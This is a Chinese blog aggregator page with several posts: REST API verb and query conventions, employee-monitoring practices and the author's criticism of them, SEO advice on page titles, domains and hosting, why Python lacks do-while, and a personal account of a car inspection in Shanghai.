  • 缓存。通过CDN或是网关对API进行缓存,很显然,我们要在查询GET 操作上建议缓存。
  • 流控。你可以通过HTTP的动词进行更粒度的流控,比如:限制API的请用频率,在读操作上和写操作上应该是不一样的。
  • 路由。比如:写请求路由到写服务上,读请求路由到读服务上。
  • 权限。可以获得更细粒度的权限控制和审计。
  • 监控。因为不同的方法的API的性能都不一样,所以,可以区分做性能分析。
  • 压测。当你需要压力测试API时,如果没有动词的区分的话,我相信你的压力测试很难搞吧。
  • ……等等

也许,你会说,我的业务太简单了,没有必要搞这么复杂。OK,没有问题,但是我觉得你最差的情况下,也是需要做到“读写分离”的,就是说,至少要有两个动词,GET 表示是读操作,POST表示是写操作。

Restful 复杂查询

一般来说,对于查询类的API,主要就是要完成四种操作:排序,过滤,搜索,分页。下面是一些相关的规范。参考于两个我觉得写的最好的Restful API的规范文档,Microsoft REST API GuidelinesPaypal API Design Guidelines

  • 排序。对于结果集的排序,使用 sort 关键字,以及 {field_name}|{asc|desc},{field_name}|{asc|desc} 的相关语法。比如,某API需要返回公司的列表,并按照某些字段排序,如:GET /admin/companies?sort=rank|asc 或是 GET /admin/companies?sort=rank|asc,zip_code|desc

  • 过滤。对于结果集的过滤,使用 filter 关键字,以及 {field_name} op{value} 的语法。比如: GET /companies?category=banking&location=china 。但是,有些时候,我们需要更为灵活的表达式,我们就需要在URL上构造我们的表达式。这里需要定义六个比较操作:=<><=>=,以及三个逻辑操作:andornot。(表达式中的一些特殊字符需要做一定的转义,比如:>= 转成 ge)于是,我们就会有如下的查询表达式:GET /products?$filter=name eq 'Milk' and price lt 2.55 查找所有的价柗小于2.55的牛奶。

  • 搜索。对于相关的搜索,使用 search 关键字,以及关键词。如:GET /books/search?description=algorithm 或是直接就是全文搜索 GET /books/search?key=algorithm

  • 分页。对于结果集进行分页处理,分页必需是一个默认行为,这样不会产生大量的返回数据。

    • 使用pageper_page代表页码和每页数据量,比如:GET /books?page=3&per_page=20
    • 可选。上面提到的page方式为使用相对位置来获取数据,可能会存在两个问题:性能(大数据量)与数据偏差(高频更新)。此时可以使用绝对位置来获取数据:事先记录下当前已获取数据里最后一条数据的ID时间等信息,以此获取 “该ID之前的数据” 或 “该时刻之前的数据”。示例:GET /news?max_id=23454345&per_page=20 或 GET /news?published_before=2011-01-01T00:00:00Z&per_page=20

注意:这里需要注意一下,在理论上来说GET是可以带 body 的,但是很多程序的类库或是中间件并不支持 GET 带 body,导致你只能用 POST 来传递参数。这里的原则是:

  1. 对于简单的查询,很多参数都设计在 restful API 的路径上了,而 filter/sort/pagination 也不会带来很多的复杂,所以应该使用 GET 

  2. 对于复杂的查询来说,可能会有很复杂的查询参数,比如:ElasticSearch 上的 index/_search里的 DSL,你也应该尽可能的使用 GET,而不是POST 除非客观条件上不支持GET。ElasticSearch 的官方文档里也是这么说的。

The authors of Elasticsearch prefer using GET for a search request because they feel that it describes the action—​retrieving information—​better than the POST verb. (我们推荐使用 GET而不是 POST,因为语义更清楚)However, because GET with a request body is not universally supported, the search API also accepts POST requests (除非你的类库或是服务器不支持 GET带参数 ,你再用POST,我们两个都支持)

陈皓注:但是在 ElasticSearch 7.11 后,GET 也不支持 body 了。这是 ElasticSearch 的设计和实现不对应了。

另外,对于一些更为复杂的操作,建议通过分别调用多个API的方式来完成,虽然这样会增加网络请求的次数,但是这样的可以让后端程序和数据耦合度更小,更容易成为微服务的架构。

最后,如果你想在Rest中使用像GraphQL那样的查询语言,你可以考虑一下类似 OData 的解决方案。OData 是 Open Data Protocol 的缩写,最初由 Microsoft 于 2007 年开发。它是一种开放协议,使您能够以简单和标准的方式创建和使用可查询和可互操作的 RESTful API。

几个主要问题的回应

下面是对几个问题的直接回应,如果大家需要我回应更多的问题,可以在后面留言,我会把问题和我的回应添加到下面。

1)为什么API 要Restful,并符合规范?

Restful API算是一个HTTP的规范和标准了,你要说是最佳实践也好,总之,它是一个全世界对HTTP API的一个共识。在这个共识上,你可以无成本地享受很多的技术红利,比如:CDN,API网关,服务治理,监控……等等。这些都是可以让你大幅度降低研发成本,避免踩坑的原因。

2)为什么“过早优化”不适用于API设计?

因为API是一种契约,一旦被使用上,就很难再变更了,就算你发行新的版本的API,你还要驱动各种调用方升级他们的调用方式。所以,接口设计就像数据库模式设计一下,一旦设计好了,未来再变更就比较难了。所以,还是要好好设计。正如前面我给的几个文档——Microsoft REST API GuidelinesPaypal API Design Guidelines 或是 Google API Design Guide 都是让你好好设计API的不错的 Guidelines.

3)POST 更安全吗?

不会。

很多同学以为 GET 的请求数据在URL中,而 POST 的则不是,所以以为 POST 更安全。不是这样的,整个请求的HTTP URL PATH会全部封装在HTTP的协议头中。只要是HTTPS,就是安全的。当然,有些网关如nginx会把URL打到日志中,或是会放在浏览器的历史记录中,所以有人会说 GET 请求不安全,但是,POST 也没有好到哪里去,在 CSRF 这个最常见的安全问题上,则完全就是针对 POST 的。  安全是一件很复杂的事,无论你用哪方法或动词都会不能代表你会更安全。

另外,

  • 如果你要 防止你的 GET 上有敏感信息,应该加个密,这个跟 POST是一样的。
  • 如果你要防止 GET 会被中间人修改,你应该做一个URL签名。(通常来说, 我们都在 GET 上做签名,POST 就忘做了)
  • 如果你要防止有人发一些恶意链接来 hack 你的用户(传说中的 GET 不如 POST 安全的一个问题),你应该用 HMAC 之类的认证技术做好认证(参看 HTTP API 认证授权术)。

总之,你要明白,GETPOST 的安全问题都一样的,不要有谁比谁更安全,然后你就可以掉以轻心的这样的想法,安全都是要很严肃对待的。

4)全用 POST 可以节省时间减少沟通吗?

不但不会,反而更糟糕。

说这种话的人,我感觉是不会思考问题。

  • 其一,为API赋于不同的动词,这个几乎不需要时间。把CRUD写在不同的函数下也是一种很好的编程风格。另外现在几乎所有的开发框架都支持很快速的CRUD的开发,比如Spring Boot,写数据库的CRUD基本上就不需要写SQL语言相关的查询代码,非常之方便。
  • 其二,使用规范的方式,可以节约新加入团队人员的学习成本,而且可以大大减少跨团队的沟能成本。规范和标准其实就是在节约团队时间提升整体效率的,这个我们整个人类进行协作的基础。所以,这个世界上有很多的标准,你只要照着这个标准来,你的所生产的零件就可以适配到其它厂商的产品上。而不需要相互沟通。
  • 其三,全用POST接口一把梭,不规范不标准,使用你的这个山寨API的人就得来不断的问你,反而增加了沟通。另外,也许你开发业务功能很快了,但是你在做控制逻辑的时候,你就要返工了,从长期上来讲,你的欠下了技术债,这个债反而导致了更大的成本。
5)早点回家的正确姿势

不要以为你回家早就没事了,如果你的代码有这样那样的问题,别人看懂,或是出误用了你的代码出了问题,那么,你早回家有什么意义呢?你一样要被打扰,甚至被叫到公司来处理问题。所以,你应该做的是为了“长期的早回家”,而不是“短期的早回家”,要像长期的早回家,通常来说是这样的:

  • 把代码组织设计好,有更好的扩展性。这样在面对新需求的时候,你就可以做到少改代码,甚至不改代码。这样你才可能早回家。不然,每次需求一来,你得重新写,你怎么可能早回家?
  • 你的代码质量是不错的,有不错的文档和注释。所以,别人不会老有问题来找你,或是你下班后,叫你来处理问题。甚至任何人都可以很容易地接手你的代码,这样你才可能真正不被打扰
6)工作而已,优雅不能当饭吃

回应两点:

其一,遵循个规范而已,把“正常”叫“优雅”,可见标准有多低。这么低的标准也只能“为了吃饭而生存了”。

其二,作为一个“职业程序员”,要学会热爱和尊重自己的职业,热爱自己职业最重要的就是不要让外行人看扁这个职业,自己都不尊重这个职业,你让别人怎么尊重?尊重自己的职业,不仅仅只是能够获得让人羡慕的报酬,而更是要让自己的这个职业的更有含金量

希望大家都能尊重自己从事的这个职业,成为真正的职业化的程序员,而不是一个码农!

你的工作给你权力,而只有你的行为才会给你尊重

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post “一把梭:REST API 全用 POST” first appeared on 酷 壳 - CoolShell.

by 陈皓 at February 13, 2022 04:28 AM

February 12, 2022

coolshell

谈谈公司对员工的监控

今天看到微博上有一个热点事件, 是一个关于某公司做的一个监控员工离职倾向的软件,从截图中可以看到员工访问招聘网站的次数,还有投递的简历以及搜索的关建词等等信息,通过这些信息分析员工的离职倾向。然后我发一个微博,说了一下,我以前工作过的公司无论外国公司还是中国公司都有这样的情况,收到一些人来问我相关的情况,所以,我想还是写篇文章详细地说一下,我对这种事情的看法。

本文分成下面个部分:

  • 公司监控员工的技术手段有哪些?
  • 为什么要监控员工?
  • 外企和国企有什么不一样?
  • 我对此事的看法

技术手段

下面是我经历过的几个手段:

1)通过网络嗅探的方式。也就是说,你只要上了公司的网络,你个人设备上的通讯信息就可以被人以网络抓包+分析的方式进行分析。当然,这样的手段已经不怎么好用了,因为现在的网络基本上都是HTTPS加密的,网络嗅探的方式只能知道你访问了什么IP,对于其中的数据是没有办法知道的。

2)通过使用公司提供的软硬件工具。你使用公司的电子邮箱,浏览器(或是公司的代理服务器),通讯工具(包括语音电话),手机办公应用……等来处理你的个人事宜的时候,必然会被监控。这样,你只需要不要使用公司的软件来处理自己的私事就好了。

3)通过安装一个监控程序。这个是最可怕的了,因为无论你加不加密都没用了。一般来说,你不安装这个程序,你就没有办法连上网络,包括公司内网和外网。这个监控程序,会收集你电脑或手机上能够收集的到的所有的信息,比如,你的网络信息,按键操作,录屏,软件数据……等等。

4)办公区监控。我见过的还有使用摄像头,在会议室中安装声音和视频监控设备,对整个办公区内发生所有的事情进行监控。

5)通过爬虫。通过爬虫分析员工的社交平台上的各种言论,包括招聘网站。除了公司需要分布和自己相关的舆情,同样也开始监控员工的行为和价值观等。这已经不是监控隐私信息了……

公司监控的目的

公司监控的目的最早就是为了防止自己公司内的数据和信息外泄,所以,他们害怕自己的员工访问了什么不合适的网站,或是下载了什么有恶意的软件,或是不小心发错了邮件。另外一些公司也会使用外包人员,所以,对于外部编制的人员更需要有信息泄漏防范的安全需求。当然,也害怕有一些商业间谍或是自己的员工被收买了窃取公司内部的敏感信息。尤其是对于一些本身就是做数据的公司,如我以前呆过的Thomson Reuters,这家公司主要是卖金融数据的,所以,对信息泄漏是非常注重的,其就是需要在员工的电脑上安装监控软件。

还有一些劳动密集型的工作,比如在Amazon里的仓库里工作的人,公司会监控员工的工作量,以此来评估员工的工作绩效。对于用监控软件来评估程序员的工作量,我到今天仅见过监控外包人员的,在中国,外包人员需要使用甲方的电脑进行签到和签退,以及相关的工作。除了上述的信息安全目前,还能够看到员工的工作时长的情况。

所以,一般来说,公司监控的目的主要是为了自己的信息安全,还有员工的工作量评估,一般来说,不会涉及员工的隐私

但是,随着收集的数据越来越多,有些公司发现还可以做更多的事,比如,上述的员工离职倾向的分析。还有一些公司还会收集员工在外网的数据,比如你在社交平台上的各种言论,来分析你对公司的忠诚度和你的价值观取向……我个人觉得这些已经令人不耻了。

外企与国企不同之处

我经历过的公司中,外国公司和中国公司都有监控的经历,这里说一下他们的不一样之处。最大的不一样的地方是,外国公司会让你有知情权,而中国公司则完全没有

我记得我进入Thomson Reuters 公司的时候,公司要求签署一份监控的知情的同意书,其中用中英文写的,就是说,你授权公司监控你的如下这些信息:1)上网记录,2)下载的软件,3)工作电脑,4)公司的座机电话,5)会议室和办公区的语音和视频监控……大概有两页A4纸,然后也说明了这些数据公司仅用于信息安全的风控,不用于个人隐私分析等等……并且会符合法律要求保护员工的这些数据不外泄……这些条款都经得起法律的推敲。这样的协议是需要员工签字的,并且对双方都有法律约束的。

中国的公司则不会告诉你他们会监控你哪些数据,而这些数据拿来做什么。 我记得我在某公司工作的时候,就有员工发现自己访问自己的gmail的录屏被公司收集后的愤怒……

我对此事的看法

一方面,我对于公司通过使用监控软件监控员工的行为我是能够理解的,但是,应该让员工有知情权,并和员工明确一个监控的信息和范围,包括收集的数据的用途和安全措施,以及数据多长时间销毁的协议。如果没有这个协议的话,我觉得本质上就是一种流氓行为。

另一方面,针对监控员离职的倾向来说,我实在不知道有什么意义?公司你知道了又能如何呢?你是要找员工作思想工作,还是要给员工更好的待遇,还是直接开掉?如果你对自己的企业有信心,你就不必担心员工会离开,如果你的企业有问题,你为什么不把心思花在建设自己的企业上来呢?安装这样的监控软件对于企业没有什么帮助,反而只会让你的企业的形象更low……

再仔细想想,员工有一万种方法泄漏你公司的信息,无论你怎么监控,只要他想,他总是能够找到方法的,不是么?如何让找到或是培养有职业操守的员工,如何管理自己企业的商业信息,如何建立一个更好的企业文化让员工更有归属感,成为企业的共同体,一同维护共同利益,为企业着想,这不才是公司真正应该干的事吗?!监控员工充分暴露了这样的企业没有一个好的企业文化,不懂得高级的管理,所以,只能靠监控这样的手段来管理企业了……这样的企业不去也罢了。

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 谈谈公司对员工的监控 first appeared on 酷 壳 - CoolShell.

by 陈皓 at February 12, 2022 07:50 AM

January 22, 2022

anji66

尝试挽救一下我的SEO——页面常规优化

上周讲到域名和主机对SEO的影响,并且就本站举例修正了一个致命的解析问题,本周内容开始转向一般意义上的白猫SEO手法上了。开始之前先来看一下本站最新情况,首先site语法,截止到2022年1月22日,百度已经收录了99个页面,并且最关键的是首页已经完成了更新。这也标志着本站已经从被K列表中挽救出来了,百度统计中关键词西枫里和西枫里博客两个特向性词已恢复到百度排名第一。本篇常规优化的主要内容为TKD的写法,频道页和文章页的注意事项。

01.jpg

QQ图片20220122230840.png

▲这是之前的首页效果

一、首页title的注意事项

首页title也就是网站标题,一个标识网站身份的核心要素,它的作用不言而喻。无论是搜索引擎收录展现的链接文字,还是浏览器标签页显示的字符通常情况下都是网页title标签中的内容。如何写好用好首页title,我将从如下几个方面阐述:

1、首页标题第一个要素便是站点名称,例如本站西枫里。因为个人网站备案问题,最好是站点名称和备案名称一致,但是本站早期备案没有顾及此方面,现首页title和备案名称不一致,这也是一个隐患,看着吧,将来哪天还得吃这个亏,现在就不去处理了。

2、第二个要素是网站slogan,例如本站“记录编程建站优化的学习博客”,一句话概括了站点的主要内容。当然我们也可以参考一下大站的slogan,例如:淘宝网的“淘!我喜欢”,微博的“随时随地发现新鲜事”,知乎的“有问题,就会有答案”。slogan唯一的要求就是不要做关键词堆砌,最好是一句话描述。

3、标题中的符号应用:站点名和slogan之间的间隔符,百度在《百度搜索网页标题规范》中曾提到,用短中划线做间隔符,蚂蚁线、竖线,逗号,破折号都改为短中划线。其它诸如标题中要使用的符号,请参考百度提供的下表内容。

4、首页标题长度,请注意控制在80个字符以内,通常80个字符是极限值,为了在搜索引擎页面展示的相对友好,控制在40个字符(20个汉字)以内为宜,而现在移动端占据了较大的流量,更好的适配移动端,限制字符还应再压缩。

5、前面强调了不要做关键词堆砌,还有非必要不要添加“官网”字样,但是很多童鞋会说我的就是官网啊,对于个人网站其实是没有官网概念的,而单位网站的官网需要资质提供支撑,能提供资质的,搜索引擎自己就能识别了,不要画蛇添足即可。

6、不要做诱导内容,也就是挂羊头卖狗肉,这是被严厉打击的对象,就不多说了。

7、更多的内容请参考前面提到的百度搜索网页标题规范,还有另一篇《产品、编辑必看:撰写搜索引擎喜爱的标题》可供参考,另本站之前的文章《SEO中网页标题该怎么写?》也可供参考。


二、keywords的注意事项

或许全站唯一一个能让你做关键词堆砌的地方大概就是keywords了,而目前几乎所有的搜索引擎对keywords的权重都放到了相当低的位置,直白点说就是可有可无了,所以这个原则只有一条:不要放与本站不相关的关键词进去,和本站有关的关键词你随便怎么堆。


三、description的注意事项

在早些年的时候,搜索引擎还会老实巴交的将description的内容作为收录展现的一部分,随着搜索引擎的改进算法的调整,现在搜索引擎展现出的描述是搜索引擎自己抓取的部分内容,百度也曾在站长论坛解释过这是用户体验的改进。所以这个原则也只有一条:不要顾左右而言他。


四、频道页/列表页

除非单页网站,所以一般而言大多数网站都有或多或少的频道/列表页面。这些页面也会参与到搜索引擎的排名中,因为它也有完整的title、keywords、description。一个分类明确的频道页面会囊括其下所有最终子页。这也为搜索引擎爬取提供了一个不错的聚合页面。那么列表页面的注意事项又是什么呢?除了页面自身的TKD外,它还需要两项比较核心的内容。

1、其下子页的标题和文章摘要聚合。列入本站“建站优化”频道页面,下面会囊括所有在该页面下面的文章,用了一个panel面板来展示汇集效果,有标题、子页链接、子页的文章摘要。当然,你如果能提供频道页的tag标签就更棒了。

2、翻页组件要正常。为什么要说正常,主要是我见过两种比较不太靠谱的翻页问题,第一种是翻页组件本身就有bug,例如翻页组件显示有10页内容,每页10条,共计100篇文章,而事实上文章页只有70篇,这对蜘蛛来说是个巨大的陷阱,所以这个问题要避免。第二种是明明1页就显示完了,非要整一个第二页出来,而点击第二页会跳到诸如广告页面上,这种就是会被搜索引擎打击的对象,今后我将在搜索算法中提到这个问题。


五、文章页的注意事项

文章页的TKD遵循前述说明,然类似于文章优质内容这项目,会在后续的“内容为皇”的章节中再详细阐述。文章页面在构建的时候需要注意的标题标签使用,本站曾在之前有单独写过,可以查看《SEO中不可忽视的h1到h6的应用》。文章页的图片处理、链接处理也都会在后续章节中会单篇提及,这里就先过了。


最后还是预告,下一篇大概率会在优质内容创作、页面构建技巧、站点访问速度影响做选择,敬请关注。


by 西枫里 at January 22, 2022 03:43 PM

January 17, 2022

pythoncat

Python 为什么不设计 do-while 循环结构?

在某些编程语言中,例如 C/C++、C#、PHP、Java、JavaScript 等等,do-while 是一种基本的循环结构。
它的核心语义是:先执行一遍循环体代码,然后执行一遍条件语句,若条件语句判断为真,则继续执行循环体代码,并再次执行条件语句;直到条件语句判断为假,则跳出循环结构。
流程图如下(Java 示例):
// 打印小于 20 的数字
public class Test {
   public static void main(String[] args){
      int x = 10;
      do {
         System.out.print("value of x : " + x );
         x++;
         System.out.print("\n");
      } while(x < 20);
   }
}
Python 并不支持 do-while 结构,“do”并不是一个有效的关键字。
那么,为什么 Python 不提供这种语法结构呢,这种现状的背后有何种设计考量因素呢?
在回答这个问题之前,让我们再仔细思考一下 do-while 语法可以解决什么问题,看看使用这种结构能带来什么好处?
最显而易见的好处是:do-while 语法保证了会先执行一遍循环体代码。
它的使用场景也许不多,但是,跟普通的 while 循环或者 for 循环语法的“条件前置”思想不同,它体现的是一种“条件后置”的编程逻辑,也是一种控制循环的常见方式。
它们的关系似乎有点像 C/C++ 这些语言中的i++++i操作的区别,在某些特殊场合中,也许会更为高效。
除了这一特点,这种结构最大的应用场景其实是在 C/C++ 中特殊的do {...} while (0) 用法。这在很多开源项目的源码中都能找到踪迹,例如 Linux、Redis 以及 CPython 解释器,等等。
这里面的数字 0 表示布尔值 False,意味着循环只会执行一遍,然后就跳出。
这样的写法是不是很诡异?所谓“循环”,一般就意味着程序体会被反复执行多次,但是,do {...} while (0) 却偏偏只需要它执行一遍,这初看起来是有点多余啊。
这种写法主要用在宏函数的定义中,可以解决宏代码块的编译问题,使代码按照我们的意图而合理分块。
另外,do {...} while (0) 结合 break 使用,还可以实现很优雅的跳转控制效果。
在下面的示例中,步骤 1、4 和 5 要求必须执行,而步骤 2 取决于步骤 1 的执行结果,步骤 3 则取决于步骤 2 的执行结果。
do {
  // 执行步骤 1 
  if (条件1失败) {
    break;
  }
  // 执行步骤 2 
  if (条件2失败) {
    break;
  }
  // 执行步骤 3 
  if (条件3失败) {
    break;
  }
} while(0);
// 执行步骤 4
// 执行步骤 5
在这种场景中,我们确实只需要按照顺序执行一遍。do-while 结构很清晰,避免造成多层条件嵌套或者设置诸多额外标记的局面。
最后还有一点,在汇编层面,do-while 比 while 更接近汇编语言的逻辑,可以节省使用指令,在过去的低内存时代,算得上是一种优化写法。
分析完 do-while 的好处后,让我们回到主题:Python 为什么不需要设计 do-while 循环语法呢?
首先,Python 离底层应用编程太远了,就不用考虑汇编指令的优化了,同时,它也不涉及宏的使用。
至于“条件前置”和“条件后置”的区别,其实并没有太大影响,而且,由于 Python 使用简洁优雅的缩进加冒号语法来划分代码块,导致直译过来的 do-while 语法看起来会很怪异(注意,直译的 while 的条件后没有其它内容):
do:
    pass
while False
想要引入新的语法特性,必然要遵守既定的风格习惯。其它语言的 do-while 结构直译成 Python 的话,肯定不合适。
事实上,在 2003 年时,有一个 PEP 提议给 Python 加上 do-while 语法支持:
PEP-315 Enhanced While Loop
该 PEP 提议增加一个可选的 do 子句,支持将 while 循环扩展成这样子:
do:
    <setup code>
while <condition>:
    <loop body>
这不是简单地从其它语言翻译成 Python,它的 while 语句后保留了 Python 的缩进用法,并不会造成直译形式的突兀结果。
加上 while 循环本身已支持的可选的 else 子句,因此,while 完整的语法结构是这样的:
while_stmt : ["do" ":" suite]
            "while" expression ":" suite
            ["else" ":" suite]
(PS.在本系列的下一篇文章,我们将解释为什么 Python 要支持 while-else 语法)
也就是说,在保持原 while 循环语法不变的情况下,PEP-315 提议支持在 while 前面使用一个可选的 do 子句。
do 子句只会执行一遍,当它里面出现 break 时,则跳出整个 do-while 循环;当 do 子句中出现 continue 时,则跳出 do 子句,进到 while 的条件判断中。
有了 do 子句后,很容易就能实现 do {...} while (0) 的跳转控制效果。
但是,这个 PEP 遭到了一些核心开发者的反对。
反对的理由是,不需要引入新的关键字和语法,仅使用现有语法就能很好地实现同样的功能:
while True:
    <setup code>
    if not <condition>:
        break
    <loop body>
Python 之父 Guido van Rossum 也持反对意见,他的原话是:
内容如下:

Please reject the PEP. More variations along these lines won’t make the language more elegant or easier to learn. They’d just save a few hasty folks some typing while making others who have to read/maintain their code wonder what it means.

简单翻译一下,这种 do-while 语法并不会使 Python 更优雅好用,反而会产生阅读/维护代码的理解负担。
就个人的感觉而言,我也不赞成引入 PEP-315 那种可选的 do-while 语法,虽然它比固定形式的 do-while 结构更为灵活和优雅一点。
最后稍微总结一下,do-while 作为一种常见的循环结构,在其它语言中有所发挥,它甚至还发展出了 do {...} while (0) 的典型用法,但是,do-while 能够解决的几个问题要么在 Python 中并不存在(宏定义、汇编指令),要么就是已经有更为合适而低成本的实现(跳转控制)。
看完这篇文章,你是否还有其它补充的内容呢?欢迎交流讨论。
如果你对 Python 语言设计相关的话题感兴趣,欢迎订阅 Github 上的《Python为什么》系列文章

January 17, 2022 12:00 AM

January 16, 2022

anji66

2022年在上海外地牌照车辆异地年检流程

根据公安部2020年最新规定,在实行6年以内的非营运6座以下小微型客车免检基础上,进一步扩大了免检的范围,将6年以内的7-9座非营运小微型客车(面包车除外)纳入免检范围。其中对超过6年不满10年的非营运小微型客车(面包车除外),检验周期由每年检验1次放宽至每两年检验1次(即私家车涵7座SUV10年内仅需上线检测2次,分别是第6年、第8年)。

我的车今年是第九个年头,那咋又要年检了呢,原本是去年第八个年头上检测线,但是去年疫情公安部交管局出了一个顺延一年的检测规定,所以我就变成第九年上线检测了,第七年年头上线检测是因为没赶上政策,第六年的年审也是这个系列的第一篇:《在上海外地牌照车辆异地年检流程》。


准备工作和检测流程,请参考上一篇《第二次办理车辆异地年审》,流程今年完全没变,需要注意的是,如果有违章要先去处理掉。然后车船税防止断档记得要衔接上,不过上海不核查车船税缴税证明。


周六早上早早的去把体检做了,回来的时候差不多8点半,时间还早,路上正好路过离我家最近的上海市第128机动车检测站,上海锦前机动车检测站,这个监测站规模比较小,和第一次去的嘉定那家差不多大,比前年去的鹿亭检测站小不少。进门在待检区停好车,熄火留下钥匙,把后备箱三角架拿出来放副驾驶,拿着行驶证去前台,办理检验等级和付费,今年又涨价了20块钱,变390了。然后前台工作人员就会跟你说把钥匙放车上三角架放副驾驶,我都弄完了,就说好了,然后就在大厅等吧,有专人会去把车开到检测线上,在大厅有显示屏可以查看的,闲着没事看了一下这家检测站的顺序,外观检查、轮上功率刹车检查、灯光检查、尾气排放检查,OBD检查视频每看到,应该是在排放检查一起做了。约莫1个多小时检查好,然后等数据上报市公安局系统,等待回传打印检验报告,就完成整个年审了,但是今年没有给我检测报告,直接给了我检验合格的标贴。莫不是又为了环保,检验报告也不打印了,管它呢,回家重要。

03.jpg

04.jpg

最后还是那句话:千万不要去找黄牛,千万不要去找黄牛。


by 西枫里 at January 16, 2022 01:57 PM

January 11, 2022

anji66

尝试挽救一下我的SEO——域名和主机的影响

原本这一篇应该讲讲“备案如何不影响收录”,但是我发现我要讲的主角“闭站保护”已经被百度给关停了,只能换这个主题了。关于域名和主机对SEO的影响,正好这也是我这次转移服务器,马虎大意犯的一个致命错误,加上又修改title、keywords直接导致本次被K站的发生。大致讲一下“闭站保护”,原百度提供了一个备案期间网站需要关停防止被K推出的一个工具,在百度站长平台可以自行申请暂时将网站设置为闭站状态,然后爬虫就不会来爬了,享有一定时间的保护期。很可惜这个工具百度给关停了,至于会不会恢复,大概率是不会恢复了吧。

001.jpg

今天的主角是域名和主机,这俩货对SEO的影响不可谓不大,乍看之下不觉得有啥,细看之下就有点意思了,接下来会先从我这次西枫里博客转移服务器详细讲解一下域名和主机的注意事项,所有做SEO的小伙伴,特别是新入这行的可以了解一下,SEO大拿请自动忽略。


域名对SEO的影响之域名解析

从我这次的案例,主要是域名解析问题。上篇博文《尝试挽救一下我的SEO——缘起》中提到我在查询百度索引的时候发现索引量急剧下降,所以我就使用站长工具的抓取诊断做了下测试,意外发现了个问题,抓取失败是在意料之中,但抓取失败的原因404,点开详情,一眼就看到网站IP咋是之前的服务器IP?心想大概是缓存,就点击了一下IP地址后面的报错按钮申报,百度提示是几分钟内会更新,过了10分钟再试,还是抓取失败,还是这个IP,这时候其实我已经在怀疑哪里出问题了。第一个反应是因为我用了CDN,所以莫不是CDN的回源地址忘改,火速去阿里云看了一下,发现并没有错误,在搬家的时候改成正确的了。然后又去找了一下百度关于IP抓取错误的说明,在百度站长平台问答中心中找到百度关于此处的说明,需要耐心等待一周,很显然页面上显示的几分钟完全不匹配嘛。那就耐心等,然后就顺手去翻了一下我的域名解析,不翻不知道,一翻吓一跳。我竟然把针对百度蜘蛛的解析忘了改过来,因为我域名解析记录比较多,解析记录已经翻页了,在第二页看到这条,顿时捶胸顿足,好一顿数落自己。马上去修改了解析,再试抓取诊断,还是没有成功,作罢。第二天的时候再试,发现已经正确识别了。

01.jpg

02.jpg

04.jpg

描述了上面一大段案例情况,这里其实有两个重点:一、如果有针对搜索引擎解析线路的,务必修正成正确的IP地址。二、如果采用CDN内容分发的,务必要单独针对搜索引擎做解析,要不然爬虫每次过来,每次得到的IP可能都不尽相同,对SEO是个重大缺陷。


域名对SEO的影响之“二手域名”

这里“二手域名”并不特指你购买过来已被注册过的,也包括原本就是自己的,然后换内容做站的。那这个二手域名最大的隐患其实是之前的站是否是违法违规的,比如国内浏览器、安全厂商通常有域名黑名单机制,你这个域名以前做过非法网站,进入黑名单了,你注册过来,大概率是不会主动从黑名单解封的,所以被安全提醒的域名与SEO也就无缘了,建议你更换个一手域名操作吧。第二个隐患是即便之前的站不是违法违规的,但是使用过类似快排手段操作过SEO的,那么也很不幸,你在搜索引擎的眼里已经缺乏了诚信,所以大概率是做不上排名的了。


域名对SEO的影响之权重分散

一个SEO行业众所周知的常识:网站首页权重>频道页权重>详情页权重。那么一个网站只有一个首页这个是显而易见的,但是呢有一个技术问题造成多数情况下的网站事实上会产生两个首页,就是一个带www的二级域名,一个不带www的主域名,如果你的网站解析了www,那访问www和不带www都会进入首页,这样权重就分散了,特别是在外链建设的时候既有www的又有不带www的,权重分散的实质后果就产生了。所以如果解析了www二级域名,并且主域名也是同一个站的话,那务必将主域名301到www二级域名上,如果按google现在隐藏www的策略来做,那干脆就不要解析www二级域名了。另外301重定向很多主机面板都自带,如果实在没有,那就在代码里面写一下也可以的。

07.jpg

08.jpg


域名对SEO的影响之ICP备案

百度曾在早些年开放过一批特定行业的备案信息,包括医疗、金融、家电维修等网络欺诈的高风险区域,后来随着备案的强制性,加上后来新增的官网标注策略,现在已经在快照上看不到备案信息标注了。现有信息显示ICP备案在国内搜索引擎规则里面是必然存在的影响因素,随着互联网监管越来越严格,这个因素的权重值会越来越高,从百度站长平台Q&A中同样可以找到答案。

09.jpg

06.jpg


主机对SEO的影响之端口访问

一句话吧,如果不是80和443端口访问的,一律没有优化的必要,因为这算私域。早些年,百度对443的都抓取不到,当然现在443的权重比80的权重更高了。所以现在要做SEO的,尽量都上https吧。


主机对SEO的影响之防火墙策略

第一个是主机上的防火墙有没有屏蔽搜索引擎的蜘蛛IP段,如果不巧你封禁了蜘蛛IP段,自绝于SEO的路上那就没啥办法了。除了屏蔽蜘蛛IP的,有些人会设置地域性屏蔽,例如之前有人操作过为了备案,将备案地的整体进行屏蔽,当然现在这个都行不通了。屏蔽地域以后,而搜索引擎的蜘蛛是会分很多功能,不同的蜘蛛评估策略不同,其中就有评估网站连通性的,某地无法访问,蜘蛛就会对相应网站降权。

第二个是对User-Agent的过滤,如果你的过滤策略很宽泛,那把蜘蛛的User-Agent也涵盖了,那和屏蔽IP是等同效果,如果有User-Agent白名单,务必将蜘蛛的User-Agent加入白名单,如果没有白名单,那黑名单务必严谨一点,不要太宽泛。

05.jpg


主机对SEO的影响之被攻击

第一种情况是拒绝服务攻击,其实单纯攻击是没有影响的,只要你的主机能抗住不倒下就没问题。但多数情况下中小网站是无法抵抗大规模攻击的,一旦产生过量的CC和DDOS攻击,网站的稳定性就变的及差,这就牵扯到前面说的网站连通性的评论策略了。

第二种是劫持攻击,包括将域名劫持到第三方网站,或者劫持域名弹出广告等,对搜索引擎而言,说白了就是偷梁换柱,弹窗广告包括形式和内容又会触发多种排名算法,关于百度排名算法后面会开篇单讲。

第三种是注入攻击,攻破你的网站,植入恶意代码,或者内嵌隐藏的恶意界面,虽然界面上看不到,但是蜘蛛是可以访问的,所以又会触发搜索排名算法。

关于攻击的总结起来也是一句话,一旦发生攻击,务必最短时间解决攻击问题,否则SEO就是空中楼阁。


最后,域名和主机对SEO的影响主要内容基本都在这里了,可能还有我没想到的麻烦大佬指正,下一篇的主题会回到网站程序上来,敬请关注。


by 西枫里 at January 11, 2022 02:28 AM

January 04, 2022

anji66

尝试挽救一下我的SEO——缘起

